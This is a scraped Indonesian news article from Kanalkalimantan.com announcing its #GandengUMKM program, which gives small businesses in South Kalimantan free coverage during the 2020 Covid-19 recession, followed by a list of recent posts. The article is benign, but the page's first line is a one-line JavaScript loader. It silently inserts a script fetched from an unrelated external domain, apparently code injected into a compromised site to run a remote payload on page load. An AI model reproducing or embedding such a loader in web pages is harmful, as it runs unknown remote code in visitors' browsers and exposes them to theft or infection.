(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ayo, Kerek Usahamu! Kanalkalimantan.com Launching Program #GandengUMKM


KANALKALIMANTAN.COM, BANJARBARU – Beberapa waktu lalu, Menteri Keuangan Sri Mulyani Indrawati memastikan ekonomi nasional memasuki resesi pada kuartal III-2020. Hal itu menyusul revisi proyeksi yang dilakukan Kementerian Keuangan.

Resesi yang dipicu pandemi Covid-19 ini, tentunya bakal berdampak bagi seluruh sektor ekonomi, terutama juga bagi Usaha Mikro, Kecil dan Menengah (UMKM) di daerah, seperti halnya Kalimantan.

Wakil Menteri Badan Usaha Milik Negara (BUMN) Kartika Wirjoatmodjo dalam sebuah kesempatan menyampaikan, sektor usaha mikro, kecil dan menengah lebih rentan dalam menghadapi Covid-19. Secara nyata, UMKM mengalami penurunan pendapatan lebih besar ketimbang segmen korporasi.

Besarnya risiko pailit pada usaha mikro, membuat segmen usaha mikro mengalami dampak penurunan pendapatan terbesar. Survei McKensey menyebutkan, dampak Covid-19 ini terutama terkait dari sisi pasokan dan permintaan serta adanya pembatasan pergerakan.

UMKM paling merasakan dampak, sebab di awal pandemi banyak pasar maupun pusat perdagangan tutup. Walhasil ini berdampak sangat serius pada kemampuan pengusaha-pengusaha kecil dan mikro untuk berusaha dan melakukan pembayaran pokok (utang) maupun bunganya kepada perbankan.

Merujuk Katadata Insight Center (KIC), saat ini sebanyak 62,6% UMKM yakin bisnisnya dapat berjalan lebih dari satu tahun sejak pandemi Maret 2020.

Ironisnya, tetap terdapat sekitar 20% UMKM berpotensi gulung tikar pada September.

Dan memasuki kenormalan baru, ternyata UMKM tak otomatis bisa beradaptasi cepat. UMKM harus berjibaku mencoba bertahan kala badai besar ini, khusus di Kalimantan Selatan yang menjadi salah satu daerah dalam pengawasan pusat terkait tingginya angka kasus Covid-19.

Menyikapi kondisi demikian, masih terkait HUT ke-3, Kanalkalimantan.com menghadirkan sebuah program #GandengUMKM. “Melalui program ini, kami ingin hadir berjalan bersama dan bergandengan tangan dengan sektor UMKM, khususnya di Banua tercinta ini,” kata Kepala Divisi Program dan Kreatif Kanalkalimantan.com, Andy Arfian, Kamis (24/9/2020).

Ia mengatakan, sektor UMKM menjadi perhatin serius Kanalkalimantan.com, karena faktanya secara nasional, 50% dari 60 juta UMKM Indonesia menyerap 116 juta pekerja. Selain itu, UMKM memberikan sumbangan besar sebesar 61% terhadap Produk Domestik Bruto (PDB) nasional.

“Peran ini cukup signifikan untuk menopang ekonomi nasional yang jatuh dalam resesi. Caranya adalah, UMKM harus dibuat mampu kompetitif. Mereka tak hanya diajarkan untuk bertahan saat krisis tapi juga ekspansif. Karena ada yang bilang, krisis juga peluang untuk tumbuh,” tegas Andy.

Apa itu #GandengUMKM?

Program gandeng UMKM yang akan dilaunching Kanalkalimantan.com, yakni menghadirkan liputan eksklusif bagi para pelaku UMKM di Kalimantan Selatan tanpa dipungut biaya alias gratis.

Setiap UMKM yang sudah mengirimkan profil dan katalog produknya, akan dipublikasikan di web Kanalkalimantan.com dan semua akun media sosial kami.

Pada program ini, Kanalkalimantan.com juga mengajak mitra pemilik dan pengelola akun media sosial untuk bersama membantu UMKM. Seperti halnya Shalokal Grup (shalokal,com & @shalokal.com_instabaiman), Kabar Banua Kalsel (@kabar_banua_kalsel), Info Daha Negara (@infodahanegara), dan Tanah Laut Info (@tanahlautinfo).

“Adapun caranya adalah dengan ikut memposting ‘aset promo’ yang telah kami sediakan, dan aset promo ini pun nantinya akan kami sertakan/tampilkan logo dari setiap akun sosmed yang ikut mendukung,” kata Andy.

Andi berharap, melalui program ini para UMKM juga menemukan calon pembeli yang cukup signifikan untuk mendongkrak usaha. Sebab dengan bantuan media online dan medsos lainnya, otomatis pasar online akan terbuka lebih lebar.

“Melalui program ini, UMKM akan lebih dikenal. Apalagi ke depan kami juga akan melakukan pembinaan dengan menggandeng sejumlah pakar untuk bersama memberikan masukan terkait pengembangan bisnis sektor UMKM,” tegasnya.

Untuk bergabung dalam program ini, para pelaku UMKM tinggal mengirim profile dan katalog ke email: kanalkalimantancreative@gmail.com. (Selengkapnya bisa dilihat pada infografis, Red).
(Kanalkalimantan.com/cel)

Reporter : cel
Editor : Cell

Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

1 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

14 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

14 jam ago

This website uses cookies.